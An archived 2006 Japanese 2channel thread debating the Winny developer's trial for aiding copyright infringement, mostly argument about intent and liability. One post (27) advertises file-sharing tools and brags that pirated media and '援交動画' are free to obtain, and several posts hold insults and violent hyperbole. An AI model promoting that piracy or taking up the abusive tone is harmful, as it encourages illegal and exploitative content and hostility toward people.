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【Winny】 著作権侵害の意図、焦点に 「ウィニー」開発者13日判決

1 名前:⊆(○^▽^○)⊇ ◆N8OIdTdC3c @体脂肪率23%φ ★[] 投稿日:2006/12/10(日) 03:10:51 ID:???0

ファイル交換ソフト「Winny(ウィニー)」を開発し、ゲームや映画ソフトの違法コピーを
容易にしたとして、著作権法違反ほう助の罪に問われ、懲役1年を求刑された元東大助手、
金子勇被告(36)の判決が13日、京都地裁(氷室真裁判長)で言い渡される。

開発目的について、検察側が「著作権侵害を企図した確信犯」と断定したのに対し、
金子被告は無罪を訴え、弁護側は「犯罪行為を助長させる目的はなかった」と反論。
主張は真っ向から対立している。

ファイル交換ソフト利用者による違法行為で、開発者が刑事責任を問われるのは国内で
初めて。違法か合法かの線引きは、今後のソフト開発現場にも大きな影響を与えるとみられ、
司法判断が注目される。

最大の焦点は、違法コピーをまん延させるなど著作権の侵害行為を手助けする意図が
金子被告にあったかどうか。(共同)

http://www.nikkei.co.jp/kansai/news/37125.html
2 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:11:11 ID:wq35j2s20
ニダ
3 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:11:18 ID:0rpbAIiA0
ミダ
4 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:11:25 ID:uiWVtJiS0
シダ
5 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:11:39 ID:JPf8zW4o0
どう考えても京都の馬鹿景観が有罪だろ
6 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:11:42 ID:M30kgbNy0
おしりプリンセス
7 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:11:58 ID:L8WAjFrp0
タダ
8 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:12:07 ID:YN1xyT8c0
Wiiスレかとオモタ
9 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:12:30 ID:nOONwtezO
2ゲット
10 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:12:36 ID:9Qg+oZLT0
公務員は無罪
11 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:12:43 ID:4Twsb77Q0
これでようやく地裁決着か。前半戦終了まで長いな。
12 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:12:49 ID:kuAKPs6d0
47氏ガンガレ!
13 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:13:31 ID:gFLu7Bdt0
有罪だろうと無罪だろうと祭りになるのは間違いない
14 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:13:48 ID:XGTMyb0K0
お尻プリンせす
15 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:14:23 ID:MusMbMwR0
有罪だったらネトランもしょっ引け
16 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:14:54 ID:0IxOnbmf0
まぁ、国がダウソ禁止を検討してるからアウチじゃね?
うかつな国に逆らう判決だしたら吊るされちまうし、この裁判官も命は惜しいだろう。
17 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:15:17 ID:lk1PdKtE0
有罪にしないとダメだろ。そりゃあ。
18 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:16:20 ID:0/b5h8gf0
>最大の焦点は、違法コピーをまん延させるなど著作権の
>侵害行為を手助けする意図が金子被告にあったかどうか。


あったら有罪なんか???? うそーん。
19 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:16:34 ID:0rpbAIiA0
りょうは死んだほうがいいと思う
>>16
だろうね
しかも地裁とくりゃ有罪にするしかなかろう
そして控訴というシナリオまで分かりきってるのにあえてやるのは何なんだろう
20 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:16:45 ID:CuRV8Ae40
京都府警も大変だな
21 名前:日本ハム[] 投稿日:2006/12/10(日) 03:17:59 ID:gvs6XzUJ0
日本ハムの「Winny(ウィニー)」

22 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:18:01 ID:19GLJhmt0
こんなもん争点にしたって水掛論になるだけだろ
そんなことより流出騒ぎを起こしたゴミ公務員を
死刑台送りにする方がどんだけ有益なことやら
23 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:18:10 ID:M30kgbNy0
自分自身エロゲ落としてるくせに
どの面下げて無罪主張だよ。
馬鹿じゃねえのw
24 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:18:41 ID:XGTMyb0K0
世界の司法判断の潮流から言って金子無罪はまずない

***********************************************

Kazaaがオーストラリアで敗訴

Groksterが米最高裁で敗訴

Soribadaが韓国で差止命令

Kuroが台湾で有罪判決

WinMX.comが停止

eDonkey.comのニューヨーク事務所が閉鎖
25 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:19:27 ID:ndhcx+DY0
P2P、、公務員は懲戒免職でおk
飲酒運転と同じね!

なんで金子被告が出てくるの?ワケワカメ
26 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:21:20 ID:0/b5h8gf0
でもこれ有罪になったとしても、トリ付きで映画かなんかばら撒いて
逮捕されたその「件」に関しての「幇助」だよな。

ものすごく微罪な希ガスwwww
27 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:22:04 ID:aIuLA4WH0
★Winnyを始めとするファイル共有ソフトの板、Download板へようこそ。ハマりすぎに注意!
http://tmp6.2ch.net/download/

援交動画からAV、ゲーム、アニメ、成年コミック、映画、音楽、技術書、国家機密等々までタダで入手可!!!
目当てのものがあるか検索してみよう→【http://www.sharedb.com/】(実際に流れているものの一部)

■代表的なファイル共有ソフト&その解説サイト

▲Winny http://winny.cool.ne.jp/ ←P2Pソフトの基礎"ポート開放"等の勉強のため、とりあえずここから読むこと推奨
▲Winnyp(Winnyを改良したもの) http://cowscorpion.com/FileSharing/Winnyp.html 初期ノード http://www.hayasoft.com/syumi/winnyp/
▲Share  http://cowscorpion.com/FileSharing/Share.html http://phphp.s58.xrea.com/
▲Share&Winnyデータベース http://www.sharedb.com/index.php
▲Limewire http://www.limewire.com/japanese/content/home.shtml
▲Bitcomet http://jp.bitcomet.com/
▲Shareaza http://www.dukedog.flnet.org/Shareaza/ 日本語化 http://www.dukedog.flnet.org/trans.html

〓注:合法的に使いましょう。下記サイトを参考に快適な共有ライフを!〓

合法ファイルで清く正しくP2P
http://www.leaf64.net/ny2/
28 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:23:05 ID:uAwXRZLy0
>>18
最大の焦点は幇助の成立有無じゃないのかなあ
29 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:24:25 ID:pCTxMY6M0
>>1
>検察側が「著作権侵害を企図した確信犯」と断定した

結局、「企図した」って証拠何も出なかったんじゃね?
ここまでgdgdになっては有罪にできないだろう。
30 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:24:40 ID:k+erAytc0
また包丁作ったら有罪って話か?

録画・録音機器を作った事と何が違うんだ?
31 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:25:17 ID:ndhcx+DY0
http://www.winmxworld.com/
32 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:25:39 ID:gvs6XzUJ0
>>30

ヒント:利権がないモノ・旨みが吸えないモノはさっさとつぶす。
33 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:25:56 ID:r4A0n9Yu0
殺意を抱きながら包丁を作ったらいけないのか
34 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:26:26 ID:33H57cLb0
キャッシュの暗号化機能付けててよく言うよ
35 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:27:02 ID:u7A7/4i/0
裁かれているのは氷室裁判長ですよ。はっはっは(´∀`)
36 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:27:25 ID:TfwsE0Ma0
これが有罪なら、図書館のコピーサービスなんか明らかに違法だろうが。
37 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:27:26 ID:ndhcx+DY0
みんな「ハッカ飴ピー」とかいうDQNな検事が悪いのさ
38 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:28:16 ID:pCTxMY6M0
>>24
おまえ何と比べてるの?
おまえみたいな無知がいるから割厨が調子にのるんだ。

争点くらい読めよ
39 名前:ゴット下島[] 投稿日:2006/12/10(日) 03:30:43 ID:IYCXKgvM0
意図が無いにせよここまで問題が発展し被害を受けている
ゲーム会社や映画会社、出版社などが実際にいるのですから
そのことは認めて早く問題を解決しないと。
技術進歩などは単なる言い訳と罪を逃れるための戯言です
40 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:31:04 ID:QAEKhqqR0
ウィニするより勝ったほうが早いと気づいた俺は勝ち組
41 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:31:43 ID:33H57cLb0
[犯罪行為を助長させる目的はなかった]
2ちゃんで、こんなん本気で信じてる奴いるの?
42 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:32:23 ID:bkXUUTpP0
京都と言えば任天堂だな
43 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:32:28 ID:nBWf946i0
違法コピーを容易にした?
44 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:32:44 ID:DC7iE3V50
これが有罪ならパソコン関連の大半がアウトになるし
ましてそれで銭稼いでる連中は死刑だなwww
45 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:33:19 ID:WKALzi3A0
新P2Pソフトの池田大作に移行したからどうでもいいや。
46 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:33:53 ID:6WSZC4qi0
流れ的に「有罪」っぽいんだよなー。
裁判長、理解できてるとは思えない。
47 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:34:18 ID:33H57cLb0
金子被告は2ちゃんのみなさんが
善意だけで必死に実験に参加してくれてると思ってたらしい
48 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:35:22 ID:kFDWQjqO0
個人が好きでハメ取り動画を出回らせたりするのは自由だろ
管理厨は死ね
49 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:36:35 ID:pCTxMY6M0
>>39
スレまちがってね?

意図があったことを証明できるか否かが争点で
>意図が無いにせよ〜

絶対無罪じゃねーか
50 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:37:04 ID:2asNqpv50
おまえらの素晴らしき弁舌で弁護したれよ
51 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:37:11 ID:FFMChCCB0
判決クロと出ても、nyを広めるのに一番効果のあった雑誌類を出版した出版社はお咎め無し。
良いねぇ。表現の自由!
52 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:39:51 ID:6WSZC4qi0
>>51
そういえば、ネットランナーって、まだあるの?
53 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:39:52 ID:OVRaEo/WO
ウィニーを幇助にする前にインターネット自体が幇助だろ。
だからインターネットが許されるならウィニーも許されるべき。
著作権侵害の認識のレベルなんかどっちもたいして変わらん。
54 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:41:30 ID:DC7iE3V50
まぁ著作権自体うさんくさい物だがなw
いったい誰のための著作権やら・・・
55 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:41:45 ID:S6R6jpVY0
営利目的でもないただのフリーソフトで有罪とかありえんから。
しかも現在の法律と照らし合わせてもなんら違法性の無いP2Pソフト作っただけ。
こんなのが有罪になるならそれなんて人治国家?
56 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:42:04 ID:33H57cLb0
>>53
めっちゃ頭いい意見!!
57 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:42:05 ID:vJKx3hO20
こんなん有罪にする前に、公務員連中をさっさと吊るし上げろ
実際にいたから分かるが、自衛隊のP2P使用率の高さは異常。
尉官クラスから上はしらんが、曹あたりから下はやばすぎ
先任あたりになると機密を扱うんだからなおさら危険だっつの。
キンタマ出回る以前なら、nyつっこんだ私用パソコンで仕事はざら。
58 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:43:39 ID:NKJTCFVw0
おし!インターネッツ禁止法案だ!
59 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:44:33 ID:65jleuDH0
無罪の場合、コレまでの金玉流出の責任は京都府警ってことになるのかね?w
60 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:44:49 ID:+f9oy1sn0

                 _,,. -−- ,,_ 
             ,.-‐'''"       ヽ 
             ノ             ヽ
            /        ,,,_,_    ヽ 
            {  ,vリjh!リjh!(   ヽ,   }
            }  / ,; ニ=  =ニミ;、i  {
            { j  ,.ェュ ,  { rtェ 、 i ノ
           { Y      ミ       Yリ
           !|    y.-,_-)、    |ノ   
             '!   ノ _, u 、ヽ   !     
             !    ''ニ' '    !  
              ト、  _,,,,,,    イ     
┌─────┐    /|   −-- −'  |ヽ, 
│ 金子 勇   | ー'''{  |      ノ    | /''ー
├─────┴────────────────────────
│ウィニーを開発、公開したのは間違いない。
│しかし、私は「47氏」などではない。
│「2ちゃんねる」という掲示板の書き込みについても、記憶に無い。
│私は無罪だ。無罪を勝ち取るまで戦う!!
└──────────────────────────────
61 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:45:01 ID:zM2r0S0/0
Winnyの是非と金子の白黒は別だよね。それを裁判官が理解してるかどうか。
そもそも技術的部分でいうと裁判官も検察官も弁護士も誰も理解できてないだろうね。
62 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:47:03 ID:DC7iE3V50
これ最後まで逝って有罪確定したら
そのトチ狂った判例は今後どう影響するかね?
63 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:47:06 ID:WKALzi3A0
ここで言える事はこの裁判で状況をよく理解していて適切な判断をしているのは
2ちゃんねらーの方だと言う事。
インターネットの構造も理解していない裁判官に適切な判決が出せるとはとても思えない。
現状では国家の犬である裁判官が47氏に不利な判決を出す可能性が極めて高い事だけは言えるだろうな。
64 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:47:18 ID:84GpV38O0
>58
それってジョークとして受け取れんわ。マジやりそう。

年寄り政治家は馬鹿だから「ネットは規制できない」とか
いっておけば幾らでも騙せたけど、もうばれちゃったし。
何だかんだって今後も伸びるIT関係で利権も欲しかろう。

ネット監視天下り団体とか、プロバイダーに難癖付けて
許可・不許可を与える団体とか作り出しそう。
65 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 03:48:11 ID:abmzamu10
金子が有罪になったとしても今後作者不詳のままより高度なP2Pが登場するだけだと思うが。
66 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:48:17 ID:33H57cLb0
>>63
作者は著作権侵害の意図がなかったと?
67 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:48:46 ID:zM2r0S0/0
winnyは凶器(刃物)ともなりえるが、だからといって金子(鍛冶職人)が有罪とはならない。
68 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:51:11 ID:33H57cLb0
>>67
で、作者は著作権侵害の意図がなかったと?
69 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:51:29 ID:bTyRs2sr0
>>67
殺傷目的で作ったと証明されれば有罪になるんじゃね?
70 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:51:32 ID:84GpV38O0
>65
そういう理論はよく聞くが、逮捕・有罪が可能となれば開発をする人も
しり込みするだろうし、アングラに潜ってもらえれば、一般人の目に触れず、
件数が減るので目的は達する。

とりあえずP2Pの開発だけは続いているけど・・・、という状態になれば
もうほっとけばいい。
71 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:53:34 ID:HLYi1kAv0
有罪だろうが無罪だろうが
どうせ高裁にいくんだろ?
あと数年はかかるね
72 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:54:59 ID:pCTxMY6M0
>>66
意図があったら有罪。ただし、それを証明しなくちゃならん。
司法の場で、「意図は明白説明はいらない。即死刑」なんてのが通り出したら

そっちのほうが恐い
73 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:56:48 ID:8EqHYYuD0
>>1
       ∧_∧
       (・ω・`)  無罪!
       (⊃⌒*⌒⊂)
       /__ノωヽ__)

74 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:56:58 ID:bTyRs2sr0
だからそこが焦点なんでしょ
75 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:57:36 ID:33H57cLb0
>66
で、あなたは作者は著作権侵害の意図がなかったと本気で思ってるの?
76 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:57:47 ID:GWRTEhuj0
ネトランは有罪確定だろw
77 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:58:20 ID:F7Cwm+QL0
47からの発言が出るまでのスレッドの経緯とその主旨を
まとめれば何のために開発に乗り出したかは
誰でも判断つくと思うが
78 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:58:20 ID:M30kgbNy0
47名義で2ちゃんに書き込んだ内容見れば
言い逃れできないような・・・
79 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:58:27 ID:6cirXFsl0
公開裁判してほしい
80 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:58:57 ID:ic9gY7Sx0
【経済】"郵政民営化・三角合併などで注文" 米国政府、規制緩和の年次要望書を公表
http://news19.2ch.net/test/read.cgi/newsplus/1165632417/

82 名無しさん@七周年 New! 2006/12/04(月) 20:47:51 ID:bsx5e2760
>>56
以前からいっているように   ネットウヨなんて存在はもともといないんだよ。。。

財界や自民から金がでて、組織的に
民主や社民、共産党を叩きまくる。
自民をどうやった勝たせるか、世論をどうやって財界・自民よりにするかだけを
目的とした、金で雇われた工作集団だよ。殆ど全くといっていいほど
レスの方法が似過ぎている。

現実問題、買収された企業の末路は悲惨そのものだろう。
南米の無茶苦茶な搾取と韓国のどうしようもない荒れ果てた経済状況みればわかる。

売国という意味では中国なんかより、はるかに米国への売国のが
深刻で重大で現実的なんだよね。「日本民族」なんて
犬の糞みたいなもんだから、どうなってもいいわけで「利益」さえでればいい。
日本国という国境も、日本民族もうんこと同じ。
来年から外資の買収みとめられるから、買収すさまじくなるけど
いままで「愛国」だの「国歌斉唱」といっていたのが、ただのインチキだって
つくづく思うようになるよ。日本民族を根絶やしにする規制緩和とかグローバル化なんて
単に「金持ちの勝手ないいぐさ」でしかないんだよ。

ウヨなんて財界・自民の工作集団になにも期待できないよ。あいつらは金魚のふんだから。
81 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 03:59:26 ID:OVRaEo/WO
金物屋が包丁を売って、それを買った奴が人を刺した。
よっぽどのことがない限り殺人に使われるとは意識していても普通思わない。
で、ウィニーが著作権侵害に使われる意識していても、かなり具体的な行為について明確に意図して配布しないと幇助はかなり厳しいと思うけどなぁ。
じゃないと金物屋は犯罪者集団になるからね。
ここが争点になるんだろうけど、それはインターネットも同じちゃうんかと。
>>53につながるんですけどね。
結果はどうなるか・・・。
82 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:00:19 ID:bXcQucS+0
>>28
最大の幇助は開発者よりインフラ
83 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:00:49 ID:KTg2AYkL0
>>30
刃物は刃物でも、その製作意図が「料理に使うため」だったのかどうか、そこが問題なんじゃないの?
包丁に罪があるかどうかという話ではないと思うのだが。
84 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:01:20 ID:F7Cwm+QL0
例えがずれてるし貧弱
まるで擁護にもなっていない
もう少しまっとうな頭で前後の経緯を判断したらいいのに
85 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:01:37 ID:6gDOvhw40
冗談とでたらめとハッタリのあふれる
匿名掲示板において書かれた書き込みで
人一人を犯罪予告等で無しに有罪に出来るのか
大いに注目したいところではある
86 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:01:54 ID:aTtXQHTn0
>>81
ウィニーは、著作権侵害にしか使われないんだよ。
爆薬作って、爆破しないと言っていることと同じ。
87 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:02:18 ID:84GpV38O0
意思はあっても検察側が確固と証明できないと有罪はない、、、はず。
実際にエロゲダウンロードしたとしても、その分は罪に問われても
winny開発中は考えていなかったと言い張れば幇助での有罪はない、、、はずだが。
88 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:02:20 ID:/XAMv3Sa0
正直、Winnyの開発を非常に新規性のあることとして
その開発が幇助とした上で有罪にするんじゃないかなあと思う。
それならば、現状のP2Pソフトの開発についてはまったく影響ないし。
なぜなら、もうすでに存在している上での開発だから
それあたりが落としどころになるんじゃないかと思う。
89 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:02:39 ID:YKpH3hID0
おいおい、これのおかげで地方の人間がどれだけ助かってることか…
プラスチックのディスク売りまくって荒稼ぎしてるぼったくり業者が
うぜーだけだろwwwwwwwwwwwwwwwwwwwwwwwww
90 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:02:49 ID:pCTxMY6M0
>>75
なにが聞きたいの?

あったと「思った」ら、どうなんだ?
なかったと「思った」ら、どうなんだ?

侵害の意図があると「思う」から有罪か?
91 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:03:04 ID:DC7iE3V50
>>86
立派なファイル交換ソフトですよ。
92 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:03:07 ID:6cirXFsl0
>>81
日本刀そっくりの包丁を売れば問題になるのだろう
93 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:03:35 ID:F7Cwm+QL0
>>89
そのぼったくり業者が焼き物にいれるデータも
nyから仕入れているんじゃね?
94 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:03:39 ID:6iywtnZ10
当時猛威を振るってたMXの次ってことでnyにしましたって言ってたし…

戦争兵器のマシンガンで鴨撃ちも出来ますよとかいわれてもみたいな
95 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:03:50 ID:gYMFGc7M0
プログラムを作って公開しただけで有罪になるなら、司法の暴走ではないか。
96 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:04:17 ID:aTtXQHTn0
>>91
1Gもコジンユーザーで何を交換するんだよ。
97 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:04:46 ID:KTg2AYkL0
nyって「MXの次」という意味をこめて名づけられたんじゃなかったっけ?

47氏があの当時のダウソ板に出入りしていたとして、それで「MXの次」という意識があったのだとしたら
もうその時点で著作権侵害行為を助長する意図はあったといわれてもしょうがないような・・・。

それこそ検事や裁判官がそんな事情を考えているのかはしらんが
少なくとも今このスレ見てる人は、そういう「空気」はわかるよね?
98 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:05:21 ID:84GpV38O0
>86
winnyを使っていたのはハッキリしているのに、著作権侵害の意図は
なかったといってお咎めなしの人が現実にいる以上、それは通らない。

著作権侵害をしない使い方はある、ということになっている。
俺には見当もつかんが。
99 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:05:47 ID:7vExwsvg0
>>52
ネトランもIPも好評発売中。
100 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:06:09 ID:dGHLoc9R0
>>75
で?「誰々は〜という意図があったに違いない!」とか思ったら有罪だとできるわけwww
すげー法治国家だな
101 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:06:34 ID:F7Cwm+QL0
>>97
ぶっちゃけ
ばれないモノがあればいいという意図がなきゃ
あそこで名乗りをあげないと思う
102 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:06:46 ID:aTtXQHTn0
>>100
犯罪者に爆薬渡したら、犯罪だろ。
103 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:07:18 ID:KTg2AYkL0
>>100
裁判官が「意図はあった」と判断すりゃ有罪になるんじゃないだろうか。
本人が「なかった」と言ったとしても。
104 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:07:31 ID:5C69BxDC0
PSPも有罪
105 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:07:34 ID:jQSOJJyf0
2chの管理人はログが残ってないと言っている。
金子は47氏名義の不都合な書き込みは「自分ではない」と主張している。
卑怯だが、裁判で勝つための手段だ。

ログがない限り金子の主張を信じるしかないので、著作権侵害の意図は立証不可能。
よって金子は無罪放免。
106 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:07:44 ID:DC7iE3V50
>>96
高解像度の画像を配した激烈な長文のポエムと言いたいところだが
実際には個人撮影した著作権とは無縁の動画等が結構多くてね。
その趣味の人には貴重なツールですよ。
そういう使い方をしたこと無いから知らないんでしょ?w
107 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:07:43 ID:Iw42cBP30

無罪になったら検察はどう責任を取るつもりだろう。

法曹界から離別するんだろうか。

108 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:08:00 ID:pCTxMY6M0
>>86
ウィニーが爆薬?(爆薬にも合法なものはあるが、それはさておき)

ウィニーが違法な爆薬なら、それを使ったやつは皆犯罪者だよな?
109 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:08:14 ID:S6R6jpVY0
著作権侵害の意図がなかったことは明白。
技術的見地から実験するのが目的なのは47氏のほかのフリーソフトみればわかること。
一体何を持って著作権侵害の意図があったといっているんだ。
物証もないくせに。思想犯か?
110 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:09:02 ID:QC3j5myr0
こんなの無罪に決まってる。これで違法だったらおかしい。
これで違法だったらクラックツール作者なんて全員逮捕だろ
111 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:09:08 ID:Gie8nosz0
こういうのは「バレたらヤバイなー」ぐらいの罪の意識を持ってやるのがええよ。
自分らに正当性があるかのように騒いでる連中は見てて痛い。
112 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:09:08 ID:6iywtnZ10
ばれないようにするためのキャッシュシステムでしょ

彼がDL板に出入りしてなくて、匿名でもなんでもなく自サイトで開発して公開したのなら
そういう意図はなかったって主張もまあ聞いてもらえるかもしれないけどさ
113 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:09:26 ID:aTtXQHTn0
>>106
メッセで送れんじゃないか。
匿名と不特定多数がカギなんだよ。
114 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:09:53 ID:UygLL2WH0
47氏は日本の国益とかアホなこと言ってないで、
さっさとアメリカに行くべきだ。
MSのレイ・オジーとはウマが合うだろう。
Windowsにny技術を標準装備すりゃいいんだよ。
日本の司法も警察もたちまち頭を下げるぞ
115 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:10:05 ID:bXcQucS+0
>>102
しかし「犯罪者」が「犯罪を問われなかった」のがnyにおいての最大の問題点。
nyで捕まった奴片っ端から有罪に問われていた状況ならは、犯罪幇助も納得できる判決だろう。
116 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:10:34 ID:jdYOLPfS0
そりゃーお前エロゲやら同人やらアニメやら映画やら、そういうものを匿名性を確保しつつ拡散共有するためのソフトを作る意図は満々だったろ・・・
そりゃ間違いないよ
117 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:10:47 ID:zkEbRNvb0
売らないものでも作れば自然に著作権は発生する
売るなら尚更に売れないことを理由にWinny等に放流
ネット上に流れていて被害を受けているとJASRAC等に歩み寄る
そんなケースが今まで一件も無かった世界とはとても思えないんだよな
私的にはこんなことよりもナイフや包丁を武器に殺人や脅迫などが絶えない事の方が
よっぽど犯罪幇助してると思うんだが… 金で解決できない結果が多いからねぇ
118 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:11:14 ID:0BiFeUYs0
パソコン自体が著作権侵害の塊。
OSメーカが著作権保護の義務を怠った結果。
119 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:11:27 ID:aTtXQHTn0
>>108
銃で人を撃ち殺せば、犯罪者だよ。
120 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:11:32 ID:DC7iE3V50
>>112
DL板利用者=著作権侵害野郎って時点で間違ってる。
121 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:11:43 ID:5C69BxDC0
金子を有罪にしても意味がない

ぬこ写真を共有して何が悪いのか
122 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:12:00 ID:Q056cGyv0
winnyでのソフト交換はアダルトビデオonlyにすれば、
皆納得して丸く収まるものさ。
123 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:12:33 ID:AQLTBwLW0
ネトランも一緒に有罪にしてくれませんかね
124 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:12:52 ID:F7Cwm+QL0
そもそも彼の立場だったら実験目的でソフト開発をするなら
モニターを使うなり、他にやりようはいくらでもある
何せ、その手の研究してたんだからな

発言のいくつかを見ててもやばいものを取り扱うことを
前提にしての開発だってのは誰でも判断つくよな

http://winny.info/2ch/47.html
125 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:12:54 ID:u/rbALvW0
ハードディスクは>検察
126 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:13:06 ID:pCTxMY6M0
>>103
「意図はあったと判断するに足る証拠」が必要だがな

検察 「証拠はないけど間違いないと思います」
司法 「なら私もそう思います。有罪」

こんなことあるわけない
127 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:13:58 ID:aTtXQHTn0
違法ツールを配布したら、開発外目的で捕まることはありそう。
ウイルスとか。
128 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:14:20 ID:S6R6jpVY0
      |
 ___  |  たのしい
 |      |       ____/
